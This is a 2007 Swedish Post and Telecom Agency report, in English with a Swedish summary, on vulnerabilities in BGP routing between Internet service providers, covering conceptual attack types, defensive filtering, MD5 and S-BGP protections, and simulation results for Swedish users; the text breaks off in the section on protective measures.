DATE
26 April 2007
REPORT NUMBER
PTS-ER-2007:14
ISSN 1650-9862
FILE REFERENCE
06-11670
Threats to security in the
exchange of traffic between
Internet service providers
Description and testing of vulnerabilities
Foreword
The National Post and Telecom Agency works with issues concerning the
accessibility and security of the Internet, which also encompasses systems for the
exchange of traffic between Internet service providers. This type of
interconnection is decisive for the Internet functioning as a global network where
all parties can reach one another. Interconnection takes place at exchange points
with functions for routing, 'border routing', between the networks of different
Internet service providers. When the information controlling the border routing
function is manipulated by criminal acts or becomes incorrect due to mistakes, the
consequence may be that traffic is either blocked to certain destinations or that it
is redirected to a destination that was not intended.
This study was carried out with the aim of increasing insight into the risk of the
vulnerabilities associated with different types of attack being utilised against the
interconnection function and to provide recommendations to the relevant
stakeholders.
This report was written by Anders Rafting.
Marianne Treschow
Director General
Post- och telestyrelsen
Contents
Summary (in Swedish) .................................................................................................7
Summary (in English)...................................................................................................8
1
The National Post and Telecom Agency (PTS) is striving for a more
secure exchange of traffic between Internet service providers ......................9
1.1 A more secure exchange of traffic is one of the measures for
improved Internet security ............................................................................9
1.2 The aim is to describe and test vulnerabilities to increase awareness
of the risks ....................................................................................................9
1.3 The goal is to develop improved advice for security-enhancing
measures for Internet service providers .......................................................9
1.4 Testing vulnerabilities, attacks and consequences ......................................9
1.5 Logical vulnerabilities are included.............................................................10
1.6 Instructions to the reader............................................................................10
2
Interconnection is a precondition for the existence of the Internet ..............11
2.1 Internet traffic is relayed globally through interconnection at
exchange points .........................................................................................11
2.2 The operators' internal network infrastructure is grouped into
independent administrative domains..........................................................11
2.3 Routing of traffic between Internet service providers is based on a
policy...........................................................................................................13
2.4 Information about suitable routes to certain destinations is
disseminated globally .................................................................................13
3
Interconnection functions are vulnerable to attack ........................................15
3.1 Security is not built in from the start ...........................................................15
3.2 The interconnection function has known security shortcomings ................15
3.2.1
Measures have been taken in respect of most of the known
vulnerabilities in the existing version of BGP ..............................16
3.2.2
Vulnerabilities in the underlying transport protocol are
difficult to exploit..........................................................................16
3.2.3
A method for increased information security is currently
being used in the transport protocol............................................17
3.2.4
DoS attacks can cause serious disruptions – but protection
is available ..................................................................................17
3.3 Vulnerabilities will be inherited by the Next Generation Networks .............17
3.4 Few have the skills to disrupt interconnection functions ............................18
3.5 Traffic does not arrive at its destination if routing information is
wrong ..........................................................................................................18
4
Methods to increase interconnection security ................................................20
4.1 Existing protective measures make attacks difficult...................................20
4.2 Filtering is used to provide protection against false information ................20
4.3 Security is available for underlying protocols .............................................21
4.4 Proposal for increased security through cryptographic methods ...............21
5
Testing methods and test results pertaining to interconnection
vulnerabilities......................................................................................................22
5.1 Physical experiments in laboratory networks with attacks against
known vulnerabilities ..................................................................................22
5.2 Simulations gave a good indication of the consequences of attacks
for users in Sweden....................................................................................22
5.2.1
The simulations focused on manipulated routing
information...................................................................................23
5.2.2
Difficult to obtain complete input data for the simulations...........23
5.2.3
Attacks by routing traffic to a false destination............................23
National Post and Telecom Agency
5
Contents
5.3
5.4
5.5
6
The test results show that the consequences in Sweden become
more serious if a dominant Internet service provider is attacked ...............24
5.3.1
Attacks have more serious consequences if a significant
operator is attacked .....................................................................24
5.3.2
Up to 70% of users can be affected ............................................24
Instructions for protective measures...........................................................24
PTS is continuing to study and monitor developments within the area ......26
Conclusions and proposals for increased security ........................................27
Bibliography ................................................................................................................31
Appendices
Appendix 1 - Introduction to the Border Gateway Protocol..... 3323
Appendix 2 - Exchange points................................................. 3523
Appendix 3 - Testing of vulnerabilities in the border routing
system ............................................................... 3723
6
National Post and Telecom Agency
Sammanfattning
Funktionen som hanterar samtrafik mellan Internetoperatörer som i branschen
kallas gränsrouting, är en kritisk funktion i Internetinfrastrukturen. Den
ursprungliga konstruktionen av funktionen innefattade dessvärre inte något
grundläggande stöd för att säkra informationen i systemet och som med all
utrustning som exponeras på öppna nät, finns risk för attacker som utnyttjar
sårbarheter i mjukvaran. Denna studie är inriktad på att studera kända sårbarheter
och att ta reda på i vilken utsträckning genomförda attacker skulle kunna påverka
svenska användare. Avsikten har varit, dels att undersöka i vilken mån
skyddsåtgärder används för de kända sårbarheterna, dels att hjälpa till att sprida
kunskap om de skyddsåtgärder som står till buds och bör tillämpas. Vidare har
syftet varit att identifiera de åtgärder som ger det största utbytet i fråga om att
minska antalet användare som negativt påverkas vid en attack.
Utifrån de experiment som genomförts med kända attacker, kan vi konstatera att
vissa typer av sårbarheter är mycket svåra att utnyttja. Detta gäller särskilt det av
gränsroutingprotkollet använda transportprotokollet, där nyare versioner av
mjukvaran har förbättrats och vissa smärre modifieringar gjorts i hanteringen av
meddelanden. Detta gör det svårt att genomföra vissa typer av attacker utom i de
fall angriparen kan avlyssna trafiken på förbindelsen. Belastningsattacker mot
samtrafik har inte uppmärksammats lika mycket som de som gjorts mot annan
infrastruktur, men hotet finns och det är viktigt att vidta skyddsåtgärder. Det är
viktigt att uppdatera mjukvaran på routrar och annan infrastrukturutrustning, då
allt fler ägnar sig åt att leta sårbarheter även i infrastrukturen att utnyttjas för
attacker. För att ge skydd mot ännu okända sårbarheter, krävs åtgärder bland
annat genom att tillämpa de råd och anvisningar som finns att tillgå.
Simuleringarna av de potentiella följdverkningarna av attacker på Internet i
Sverige fokuserades på att studera attacker som bygger på introduktion av falsk
routinginformation i systemet. Vid attacker utgående från nät tillhörande svenska
Internetoperatörer, varierar konsekvenserna från att inga andra operatörer och
deras abonnenter påverkas till att upp till 60-70% av de svenska användarna skulle
kunna påverkas. Det är främst attacker mot dominerande operatörer som leder till
att en stor del av slutanvändarna påverkas, medan attacker mot övriga operatörers
nät bara leder till att färre än 10% av användarna drabbas. Det är önskvärt att det
på längre sikt byggs in bättre säkerhet i protokollet för IP-baserad samtrafik,
eftersom dagens skyddsmetoder inte ger en heltäckande lösning.
De viktigaste råden och anvisningarna när det gäller system för IP-baserad
samtrafik är att uppdaterad mjukvara alltid används, utökad och adekvat filtrering
tillämpas, befintliga anvisningar och mallar används samt att berörda aktörer
medverkar till att standardiserade metoder för spårbarhet och dataintegritet
utvecklas och införs.
National Post and Telecom Agency
7
Contents
Summary
The interdomain routing system is a critical part of the Internet infrastructure.
Unfortunately, the original design did not include mechanisms to secure the
information in the system and, as is the case for any equipment that is exposed in
the network, there is the possibility of attacks. Thus, vulnerabilities are currently
known to exist and there is a great deal of interest in improving the security of the
routing system. The goal is partly to examine the extent to which protection is
available, partly to spread knowledge about protective measures, and to reduce the
number of affected users.
The attack experiments with known attacks in lab networks indicate that certain
types of threat, for instance attacks against TCP connections to break or affect
BGP peering sessions, are significantly more difficult to carry out in practice than
has previously been indicated in certain reports. Newer software versions have
improved the protocol implementations and include some modifications to the
treatment of key messages which makes it very difficult for an attacker to succeed
unless traffic on the link can be monitored. Additional protection of peering
connections can be afforded by MD5-based protection, although it appears to
carry with it some risks that the increased CPU load could be exploited for DoS
attacks. Simple DoS attacks targeting the infrastructure are a known phenomenon
but have perhaps not received as much attention as other types of attack (with the
exception of the DNS root server attacks), but our results indicate that they pose
a more tangible threat than sequence number attacks against TCP.
The results suggest that deaggregations by customer autonomous systems (AS)
have a very small probability of impacting on the system, thanks to extensive
defensive filtering. The impact from attacks launched from different Swedish ISP
AS, on the other hand, varies from none (in about half the scenarios) to up to 6070% of the end users being affected. However, due to market concentration there
are only a few scenarios that lead to extensive consequences, and for most
scenarios fewer than 10% of the users are affected. The simulations point to
specific scenarios that can potentially lead to serious impact and it would be
interesting to follow up the specifics with ISPs to validate the policy information
from the Routing Registry and to determine whether it would be feasible to
introduce certain stricter filters for these specific scenarios. As a longer-term goal,
it would be better to strive for better security support being incorporated into the
protocols since filtering cannot provide a complete solution.
8
National Post and Telecom Agency
1
The National Post and Telecom Agency (PTS) is
striving for a more secure exchange of traffic
between Internet service providers
1.1
A more secure exchange of traffic is one of the measures
for improved Internet security
In December 2006, the Swedish Government decided on a strategy to improve
Internet security. PTS is implementing a number of measures in accordance with
the strategy contained in the action plan. One of the measures described in this
report is that PTS should strive for a more secure exchange of traffic between
Internet service providers.
1.2
The aim is to describe and test vulnerabilities to increase
awareness of the risks
In order to enhance awareness of the risks, this work aims to describe and test
vulnerabilities and threats, and to make an impact analysis of the disruption of
functions affecting the exchange of traffic between Internet service providers.
1.3
The goal is to develop improved advice for securityenhancing measures for Internet service providers
Tests carried out as part of this work are expected to provide an indication of the
vulnerabilities that must first be dealt with and how different types of attack affect
the service providers, their interconnection partners and subscribers. The goal is
to propose that general advice, known as 'Best Common Practices' (BCP), is used
and if possible to contribute to updates of existing advice and instructions
regarding the security of the exchange of traffic function. One desired effect is to
enhance security in that part of the interconnection function dealing with border
routing through stakeholders with operational responsibility applying improved
BCP. It is also hoped that an improved understanding of the relative risks will
result in the Internet service providers' resources directed at improving security
being prioritised in a rational way to the areas where they are most worthwhile.
1.4
Testing vulnerabilities, attacks and consequences
The work is based partly on experiments with physical router equipment, partly
on simulations to assess the resulting effects on a larger scale. It is hoped in this
way to gain a better understanding of the types of attack that are known to exist
with reference to potential realisation, consequences and countermeasures.
National Post and Telecom Agency
9
Contents
A model was developed for the simulations which enabled us to assess the
consequences of different attack scenarios, firstly regarding the type of attack and
secondly regarding the point at which the attack entered the system. In the final
phase of the project, further experiments were carried out using physical
equipment to study certain basic attack mechanisms in detail and this provided
further input data for the simulation model. Experiments and simulations were
carried out in collaboration with Michael Liljenstam from Omicron Ceti AB.
1.5
Logical vulnerabilities are included
The work includes investigations of logical vulnerabilities in contrast to physical
vulnerabilities. Logical vulnerabilities mean weaknesses that can be exploited in
attacks that do not aim to physically destroy or disrupt network equipment, but
instead, for example, manipulate control traffic, storage or processor capacity, or
gain access to the equipment's command line interface.
The vulnerabilities or potential vulnerabilities that are to be illustrated in this
project generally include:
1.6
•
Manipulation of router configuration as a consequence of intrusion or by
means of an insider
•
Different types of DoS attack on border routers
•
Disruptions by exploiting software vulnerabilities.
Instructions to the reader
The main part of this report describes overall vulnerabilities, threats and
protective measures, as well as references to advice and instructions, i.e. Best
Common Practices, for achieving increased security for interconnection; that is,
the exchange of traffic between Internet service providers. For this reason, the
report can be read by the general public and by those who wish to know why
increased security in this respect is necessary and the ways in which it can be
achieved. Appendices 1 and 2 include a short description of the functions related
to the exchange of Internet traffic/interconnection.
For those interested in the technical aspects, Appendix 3 contains a full report on
how the vulnerabilities were tested using simulations and physical experiments.
Abbreviations and terms can be found at the end in Appendix 3, Appendix E.
10
National Post and Telecom Agency
2
Interconnection is a precondition for the existence
of the Internet
Internet traffic is relayed globally through interconnection at exchange points
The operators' internal network infrastructure is grouped into independent
administrative domains
Routing between autonomous systems is based on a policy
Information about suitable paths to certain destinations is disseminated globally
2.1
Internet traffic is relayed globally through interconnection
at exchange points
The possibility of interconnection taking place between Internet service providers
where traffic is relayed over the operators' borders has led to the Internet having
become a global network where all parties can reach one another. For example, it
must be possible to relay e-mail to destinations outside the operator's network in
which the originator is located. This is realised by means of exchange points, to
which two or more operators are connected, at different places in the world.
These exchange points have equipment that routes traffic within 'border routers',
whose function is to determine the appropriate path to an external network by
means of the standard protocol, the Border Gateway Protocol (BGP) version 4.
This standard has been developed by the Internet Engineering Task Force
(IETF).
2.2
The operators' internal network infrastructure is grouped
into independent administrative domains
In order to be able to control the networks, those networks that lie within the
same administrative operational responsibility are grouped into independent
domains called 'autonomous systems' (AS). These AS usually consist of an
Internet service provider but can also be an undertaking. Each AS has a unique
AS number (ASN) that functions as a means of identification when exchanging
traffic with other AS at exchange points, known as 'Internet Exchange Points'
(IXP).
National Post and Telecom Agency
11
Contents
Public IXP
AS6
AS5
Private IXP
AS8
AS1
AS2
AS3
AS7
AS4
Autonomous systems (AS) exchange traffic with each other at exchange points.
As mentioned above, an organisation other than an Internet service provider, for
example an undertaking, can, as a customer of an operator, also be connected to
two or more operators' networks through what is known as 'multihoming'. This
technology guarantees that the undertaking's resources (web servers, e-mail
accounts, etc.) are accessible via several routes for increased redundancy. An
Internet connection that is multihomed to different AS requires systems with
functions for border routing that use BGP. Market stakeholders using BGP are
often called 'BGP speakers' as they communicate with 'peers' and are said to share
a 'peering connection' for the exchange of routing information. In most cases, a
network operator constitutes one AS, but larger operator networks can be divided
into two or more AS. Border routers that deal with an operator's incoming and
outgoing traffic exchange information about in which AS or in which part of their
own AS they believe a certain network address to be located. The autonomous
systems are identified by numbers, 'autonomous system numbers' (AS numbers).
These AS numbers are obtained from ICANN's Regional Internet Registry (RIR)
which is responsible for Europe and nearby regions, namely Reseaux IP Européen
(RIPE), following an application to RIPE NCC (Network Coordination Centre).
There are five RIRs in total in the world, each dealing with one region.
12
National Post and Telecom Agency
2.3
Routing of traffic between Internet service providers is
based on a policy
The routing of IP traffic or border routing between the networks of different
Internet service providers, i.e. AS, is done on the basis of a system of rules or a
'policy' determined by the respective operator. An AS is made up of a large
number of interconnected IP networks. Each AS is clearly defined to control the
interconnection function.
An IP packet is routed within one AS on the basis of a decision that in the majority
of cases is based on a numerical value derived from technical parameters such as
the shortest route, rate and loading.
In order to route the exchange of IP traffic between AS over operator borders, one
and the same protocol, namely the Border Gateway Protocol (BGP) version 4, is
now being used to relay routing information over operator borders, 'interdomain
routing'. In this case, routing decisions are based on a policy rather than purely
technical parameters. BGP is used to build complicated policy-based architectures
and includes a number of attributes that can help to establish a policy to make the
right decision. A BGP router at an ISP may have several alternative routes for
reaching a certain destination. Without a policy, the routers would choose the
route with the shortest AS path; that is, which needs to pass through the least
number of AS. A number of attributes in the routers' decision-making process are
assessed in a pre-determined order when establishing the policy, for example
Local Preference, which means that an ISP can give preference to a route with a
longer AS path over a shorter one. This means that operators should have better
control over routing and be able to make decisions that are based on a number of
criteria.
A policy also stipulates rules for the filtering of routing information as a tool to
control how traffic is relayed; for example, if filtering is required for traffic
coming from an external network into one's own network, referred to as
'defensive filtering' or 'route filtering' which is to be advertised to other networks.
The only accessible public source for setting up the correct defensive filtering is
the Internet Routing Registry, which contains a policy for each Internet service
provider. It is consequently important that the operators affected ensure that they
keep the information about their policy up to date.
2.4
Information about suitable routes to certain destinations is
disseminated globally
The unique number held by every AS is used for identification and to form part
of the routing information about suitable routes, 'AS paths', through the Internet
to a certain network address, 'prefix'. This information is advertised to other
operators and is propagated globally throughout the Internet. This is done by
border routers using BGP systems that exchange and disseminate information,
partly about which network addresses are applicable, partly by indicating the order
in which different AS must pass through AS paths in order to reach these network
National Post and Telecom Agency
13
Contents
addresses. This information about routes to certain destinations, expressed as an
'AS path' and 'prefix', is called a 'route' and is disseminated from operator to
operator by advertisements in the 'UPDATE messages'.
Each border router builds up its own databases, known as 'routing tables', by
listening to other routers and using this data together with their own knowledge
and policy. With this help, incoming and outgoing traffic are relayed for different
applications, such as the Web, e-mail and telephony.
AS37 updates its routing table with
the prefix=128.89.88/23 and the
corresponding AS path=37,12
AS37
Hello AS37, You
can reach
Net A via me
da
Up
te
g
ssa
me
e
AS12
AS2
Hello AS2
You can
reach
Net A via me
and AS12
AS2 updates its routing
table with the
prefix=128.89.88/23 and
the corresponding AS
path=2,37,12
Net A 128.89.88/23
AS12 has a network, Net A, and
has updated the routing table with
the prefix=128.89.88/23 and the
corresponding AS path=12
OK, here´s
traffic to Net A
In the above figure, AS12 advertises Net A (which lies within its adminstrative domain) by sending
an UPDATE message to its neighbour AS37, with which interconnection (peering) takes place.
AS37 forwards the routing information to its other neighbour AS2. AS37 and AS2 add their
respective AS numbers to the AS path.. AS2 can now relay traffic to Net A according to the route
specified, i.e. the AS path and the network prefix 128.89.88/23.
14
National Post and Telecom Agency
3
Interconnection functions are vulnerable to attack
Security is not built in from the start
The interconnection function has known security shortcomings
Vulnerabilities will be inherited by the Next Generation Networks
Few have sufficient skills to disrupt interconnection functions
Traffic does not arrive at its destination if routing information is wrong
3.1
Security is not built in from the start
When the BGP protocol was designed, not much account was taken of security
aspects. This has led to the current functions for border routing having certain
well-known, fundamental inadequacies as regards ensuring the correctness of
information in the routing system. This means that there is no opportunity to
verify whether the address and routing information disseminated from operator to
operator was originally initiated by the rightful owner of the address space
affected and that the information is complete and has not been distorted. There is
also a risk of false routers being connected in order to direct traffic to the wrong
recipient. Another vulnerability is that BGP is transmitted on top of another
protocol, the Transmission Control Protocol (TCP), which also has security
shortcomings and may be attacked.
The most well-known case by far is an incident in 1997 when border routing
information leaked out and resulted in large-scale disruptions. This incident led to
an increased understanding of BGP's lack of inbuilt security functions and helped
to initiate the development of proposals for new security mechanisms.
3.2
The interconnection function has known security
shortcomings
A number of systematic studies have been carried out to analyse potential
vulnerabilities in the routing system.
In addition to the above-mentioned lack of protection of authenticity and
protection against changes (integrity) to routing messages, the following are
examples of well-known problems that recur in these studies:
•
Direct DoS attacks against routers in the network so as to disrupt the
routing system
•
The initiation of 'route flapping', which means that a border router
repeatedly advertises to the surrounding world through the UPDATE
National Post and Telecom Agency
15
Contents
message that a route exists and immediately afterwards that it no longer
exists
•
The 'route dampening' mechanism can be used by attackers so that limited
disruptions result in a more extensive loss of connections with other
operators. Route dampening is used to prevent loading on border routers
caused by continual changes to incoming routing information
•
One powerful way of disseminating routing information is to use 'router
aggregation'. This saves capacity, but at the same time a potential
vulnerability may arise since an attacker's manipulation there could have
serious consequences. Very serious consequences may arise if routing
information becomes false through intentional or unintentional actions.
Another vulnerability is that BGP uses the Transmission Control Protocol (TCP)
as a carrier on top of the Internet Protocol (IP). If an attacker sends TCP a restart
message when attacking a router, the BGP session stops and is restarted once
again, which takes time and causes disruptions. If this is repeated at short
intervals, an entire AS can be locked out from the Internet. Alternatively, a
synchronisation command for TCP can be sent to the router that the router must
then deal with. The rapid repetition of SYN commands results in an overloading
situation for the router with the consequence that users will not be able to reach
certain parts of the Internet.
Vulnerabilities will be discussed in Appendix 3, where the vulnerabilities studied
in this report are described in detail.
3.2.1
Measures have been taken in respect of most of the known
vulnerabilities in the existing version of BGP
As the experiments were related to attacks that were previously known about, new
software versions include measures against all of these vulnerabilities, which were
due to implementation faults in the software for the current version of BGP. For
example, this applies to the different forms of disruptive attack tested in the
experiments and the IPv6 vulnerability that was exploited to show that it was also
possible to write functioning intrusion codes against routers. However, the
experiments underlined the importance of upgrading router software as well as
that on personal computers, as a greater awareness of the security holes in the
infrastructure will probably lead to further vulnerabilities being discovered. In
reality, most operators are well aware of this so that it is highly unlikely that a
software version vulnerable to the attacks tested in the experiments will continue
to be used.
3.2.2
Vulnerabilities in the underlying transport protocol are difficult to
exploit
Vulnerabilities that are instead related to weaknesses in the design of certain
protocols, such as for example the TCP vulnerabilities that were discussed much
earlier, can be difficult to remedy. The TCP-related attacks nevertheless proved to
be more difficult to carry out in practice than is sometimes intimated and, if
modern software versions are used, improvements in the implementation of and
16
National Post and Telecom Agency
certain modifications to the protocol have also made it very difficult to succeed
with this type of attack.
3.2.3
A method for increased information security is currently being used in
the transport protocol
It is also difficult to exploit vulnerabilities in TCP even if protection for the TCP
connections through the prevalent cryptographic method Message Digest 5
(MD5) is used. Many stakeholders started to use this method in the wake of the
attention surrounding TCP vulnerabilities. MD5-based protection provides
further security, for example through verification of the other party, but the
experiments also indicate that the cryptographic calculations may result in
additional CPU loading that could be exploited by an attacker for a DoS attack if
appropriate protection is not used to counter this.
3.2.4
DoS attacks can cause serious disruptions – but protection is available
Some simpler forms of DoS attack were also tested. It can be deduced from these
experiments that the risk of serious consequences in the event of relatively simple
DoS attacks, e.g. by sending large amounts of routing information to a border
router, appears to be greater than several of the more complicated types of attack.
However, the DoS attacks are a known phenomenon and there are a number of
protective measures available. One variant that has not been studied very much
until now in combination with router security is a 'reflection attack', which means
an attack against a target initiated from several directions. In order to also have
good protection against this, it is recommended that one ensures that the other
party in the event of peering connections also maintains a good level of security.
Many forms of DoS attack can also be avoided if the ability to falsify the
originator's IP address is blocked. An objective of broader filtering of traffic with
falsified addresses before it is propagated further towards a transit network would
consequently also benefit security in the routing system.
3.3
Vulnerabilities will be inherited by the Next Generation
Networks
The imminent migration to IP-based technology in what is often referred to as the
'Next Generation Network', will contribute to an increase in traffic at exchange
points for the exchange of Internet traffic. This is due to the fact that the
exchange of traffic that currently takes place in special systems for circuitswitched communication will instead take place at exchange points for the
Internet and IP-based traffic. The risk of disruptions and interruptions will
increase when networks converge to one and the same packet-switched
technology, together with the fundamental vulnerabilities in the function for IPbased interconnection. Disruptions and attacks that affect the common
technology for interconnection may have devastating consequences if suitable
protective measures are not taken and extensive redundancy is not built in from
the start.
National Post and Telecom Agency
17
Contents
A number of actual and conceivable problems can be identified in this context.
The most important growth-related factor is BGP convergence time, i.e. the time
required for a border router to adapt to sudden changes in the performance or
topology of the network. In this connection, the router must update its routing
tables so that these reflect reality, which places requirements on memory capacity
and processor power. A very stable border routing function is required to update
and manage a routing table that currently comprises 300 000 items and will be
even larger in the future.
Another factor that requires border routers to have more capacity is the new
standard IP version 6 (IPv6). Malicious forces may in the future be tempted to
make large efforts – through DoS attacks directed at memory and CPU – to
attempt to knock out selected parts of the border routing function, upon which
function an increasingly large proportion of applications with communication
over operator borders will rely.
3.4
Few have the skills to disrupt interconnection functions
BGP is complex and few have the skills to maliciously disrupt BGP traffic. On
the other hand, mistakes and insiders can cause substantial disruptions. The
intention of this study was to provide an improved understanding of the risks
associated with attacks that use possible vulnerabilities in the routing system. By
'risks', we mean here the combination of the likelihood of a successful attack and
the consequence that the attack entails. The likelihood of a threat being realised
against BGP routers is assessed as being relatively slight, but the consequences
may become very difficult in special cases and result in the Internet becoming
more or less inaccessible.
3.5
Traffic does not arrive at its destination if routing
information is wrong
False BGP routing information may, for example, direct traffic to a network that
does not have the network addresses being sought, which means that users do not
reach the website they are looking for or that e-mail does not arrive. Traffic can
by a malicious action be directed to something that resembles a 'black hole' and
simply disappear, which results in similar consequences for users.
By successfully manipulating the routing system, it is possible to either block
traffic to certain destinations or redirect traffic without the user's knowledge.
Currently, the exchange of Internet traffic and other IP-based traffic occurs in
exchange points with BGP. The exchange of circuit-switched traffic currently
takes place in separate systems. When migration to the Next Generation
Networks (NGN) and their packet technology starts, an increasingly large
proportion of the traffic sent between operators will be handled by border routers
with BGP. Through this convergence, the consequences of a disruption or
18
National Post and Telecom Agency
interruption in the interconnection function are at risk of becoming more serious
by means of reduced diversity in the technology used.
National Post and Telecom Agency
19
Contents
4
Methods to increase interconnection security
Filtering is used to provide protection again false information
In practice, it is very difficult to filter traffic from a transit operator
Security is available for underlying protocols
Proposals for increased security have been produced
4.1
Existing protective measures make attacks difficult
The previous section may suggest that it is relatively easy for an attacker to cause
damage and disrupt interconnection in various ways, i.e. the function for the
exchange of traffic between Internet service providers. In order to provide a fairer
picture, the existing protective measures that are available should also be taken
into account, many of which many have been developed recently in conjunction
with increased security awareness. A selection of these is discussed below to
demonstrate how a type of attack can be blocked and the security holes that may
possibly remain.
4.2
Filtering is used to provide protection against false
information
Information in the system is currently protected by means of 'defensive filtering',
where filters are added to prevent false information coming into the system and
being propagated further. However, for practical reasons it is impossible to
achieve complete protection. As the routing system comprises a large number of
administratively separated parts, some form of coordination is required to order
to be able to design filters. The Internet Routing Registry was created for this very
reason. However, the quality of the maintenance of the different objects in the
Routing Registry varies, for which reason errors may arise due to old or false
information. Even if it were possible to design perfect filters, there are practical
barriers to using them at all points in the network. The global routing table
currently comprises almost 300 000AR network destinations or 'prefixes', which
means that central AS in the network would have to use filters with just as many
rules. This firstly presents a risk of problems being created with router
performance as so many rules have to be managed and, secondly, it is impractical
to design and maintain configurations with so many rules.
It is common for ISPs to filter information about routes received from their
customers, as these are of limited size and one has good control over what the
information ought to look like. Large ISPs sometimes require their customers to
create filters themselves that they can subsequently install in order to be able to
filter the customers' transit customers. It is impractical to filter between the largest
20
National Post and Telecom Agency
ISPs because of the large number of routes, while the situation at the lower levels
varies as regards filtering when peering. The result is that AS at the lower levels
must depend in most cases on the information received from above being correct,
while attempting to protect the system from false information leaking in from
outside the core.
See Appendix 3 for a more comprehensive description of protective measures.
4.3
Security is available for underlying protocols
Security is currently partly based on filters that prevent irrelevant or false routing
information being accepted, used or disseminated further. For several years now,
a method has been used to ensure that messages sent via the Transmission
Control Protocol (TCP), i.e. the transport protocol within which BGP is packeted,
have not been changed en route and that the originator is correct. This is done
through a method known as 'MD5 hashing', which means that a check sum is
calculated for each TCP packet, which is then encrypted using a common key for
BCP routers communicating in pairs.
4.4
Proposal for increased security through cryptographic
methods
Various methods have been proposed to make the exchange of critical routing
information between AS more secure, for example the Secure Border Gateway
Protocol (S-BGP) developed by BBN Technologies and built on cryptography
using asymmetric encryption, i.e. with a public and a private key. By using S-BGP,
originators of BGP information are validated at the same time as unauthorised
changes of the BGP information itself cannot take place without being
discovered. Another method that comes from Cisco Systems is called Secure
Origin BGP (soBGP) and has been tested by APNIC, i.e. the Internet Registry for
the Asia Pacific region. Asymmetric encryption is used here as well. However,
both methods are met with scepticism by operators since much administration,
among other things key administration, is required as is more processor power in
routers than is currently the case. Furthermore, the method has a poor effect on
there not being a broad spread at the same time as no operators want to be the
first out with a completely new software version.
There are other proposals for measures that were presented at the RIPE51
meeting in October 2005 and have been documented under the title 'A Blueprint
for Improving the Robustness of Internet Routing' by Georgos Siganos and
Michalis Faloutsos.
National Post and Telecom Agency
21
Contents
5
Testing methods and test results pertaining to
interconnection vulnerabilities
Physical experiments with attacks against known vulnerabilities were conducted in
laboratory networks
Simulations gave a good indication of the consequences of attacks for users in
Sweden
The simulations focused on manipulated routing information
Difficult to obtain complete input data for the simulations
Attacks were carried out by routing traffic to a false destination
The test results show that the consequences in Sweden become more serious if a
dominant Internet service provider is attacked
Up to 70% of end users can be affected by an attack if a stakeholder with a key
role in the routing system is the main target
5.1
Physical experiments in laboratory networks with attacks
against known vulnerabilities
The first step was to conduct an experiment to verify known vulnerabilities using
attacks on the physical routers of three different laboratory networks in order to
illustrate the potential for the exploitation of known vulnerabilities. The
experiment aimed first at providing information about the level of difficulty in
carrying out an attack, secondly to check that the vulnerabilities are remedied or
to make an assessment of the extent to which some weaknesses may persist, and
finally to be able to classify the 'local' consequences of an attack carried out; in
other words, how they affect the specific router being attacked. The local
consequences are subsequently extrapolated within a simulated environment using
a model of the Internet in Sweden.
5.2
Simulations gave a good indication of the consequences of
attacks for users in Sweden
A simulation model was developed to provide a better indication of the
consequences of different attacks on a larger scale. The model represented the
Internet in Sweden and helped to measure the consequences of different attack
scenarios. The attacks varied as regards the type of attack as well as the point at
which the attack entered the system. The model was designed to enable a course
of events in the routing system to be studied, when certain organisations or
sectors that are critical to society are exposed to attacks directed at the routing
system, and to be able to quantify the extent of Swedish Internet users that could
22
National Post and Telecom Agency
be affected. We can assess the risks associated with the scenario by using this
information together with a rough estimate of the likelihood of an attack
succeeding. It is hoped that an improved understanding of the relative risks may
result in resources directed at improving security being prioritised in a rational
way to the areas where they are most worthwhile.
5.2.1
The simulations focused on manipulated routing information
The simulations to extrapolate the consequences to a larger national plan were
focused in particular on attacks based on the introduction of false routing
information into the system, as it proved difficult to collect sufficiently detailed
information about network topology in order to study simple disruptive attacks in
any effective way. The model focused on Swedish interests and users and
therefore principally represented AS that appear to have some form of Swedish
connection.
5.2.2
Difficult to obtain complete input data for the simulations
When building the model at a level that was suitable for studying false routing
information, the most important input data included the existence of exchange of
traffic connections between AS, and the routing policies used to direct the
exchange and achieve defensive filtering. The only public source available for
routing policies is the Internet Routing Registry. However, it is well known that
the data in these databases has certain shortcomings owing to inadequate updates,
which have to be performed manually. Consequently, the simulation results are
dependent on the quality of input data for the model. Signs of such shortcomings
were also apparent when validating the model but, following certain measures that
were undertaken to attempt to deduce some further information to improve the
model, a result was attained that appears to have relatively good correspondence
to reality.
5.2.3
Attacks by routing traffic to a false destination
The type of attack, which was simulated based on false routing information,
sometimes occurred through a prefix in a route being hijacked via 'deaggregation',
which means that a prefix is changed to become more specific so that routing
becomes incorrect. This type of attack was also carried out by advertising the
same prefix. Hijacking a route could possibly be used for a disruptive attack to
prevent users from reaching certain services or information, or to redirect traffic
to false websites without the users' knowledge in order to gather sensitive
information, as with phishing or pharming. A large number of scenarios were
simulated in which several variables were changed. The target of the attack varied
between objects that represented a number of different organisations. Two
commercial banks, two Internet brokers, a media company (news) and a public
authority were chosen for this purpose. The starting point for the attack varied
between all AS that were found in the model, i.e. AS belonging to Swedish ISPs,
AS belonging to transit customers that are not ISPs themselves and some foreign
ISPs.
National Post and Telecom Agency
23
Contents
5.3
The test results show that the consequences in Sweden
become more serious if a dominant Internet service
provider is attacked
5.3.1
Attacks have more serious consequences if a significant operator is
attacked
The broad outlines that emerge from 'deaggregation attack' scenarios are that the
consequences, in terms of the proportion of Swedish users that are potentially
affected, do not primarily depend on which AS is the target of the attack; rather it
largely depends on where the attack is coming from, i.e. where the information is
being propagated from. This is a consequence of the 'influence' of different AS,
and thus the filtering policy, varying.
5.3.2
Up to 70% of users can be affected
The consequences vary from 'no effect beyond the AS itself' to anything between
60% and 70% of users being affected. Here, market concentration plays an
important role, insofar as in most cases only a limited proportion of users risk
being affected (typically under 10%) and only in a few cases is a larger proportion
involved. That is, certain AS (especially the largest ISPs) play a key role, both in
terms of having the most users and having a connection to many other AS.
Consequently, only scenarios affecting these central stakeholders have a really big
impact. On the other hand, if attacks are initiated from typical customer AS, the
results suggest that there would be a very small potential for affecting the system.
This appears to be in line with the current practice of using defensive filters in
relation to customers. Conservative assumptions were made when constructing
the model as information was missing. For this reason, the estimated
consequences were to be provided in the form of a lower limit rather than be
overestimated. It is consequently possible that supplements to the information
may result in indicators suggesting greater consequences.
5.4
Instructions for protective measures
Instructions and good advice are available in the form of Best Common Practices
in order to protect oneself not only against known but also against potential new
threats to interconnection through border routing. Some references for sources of
these are provided below and in Appendix 3, Section 4. Templates for configuring
border routers, which have been developed by Team Cymru, a research team
within the field, are often mentioned as a good starting point; for example,
http://www.cymru.com/Documents/secure-ios-template.html and
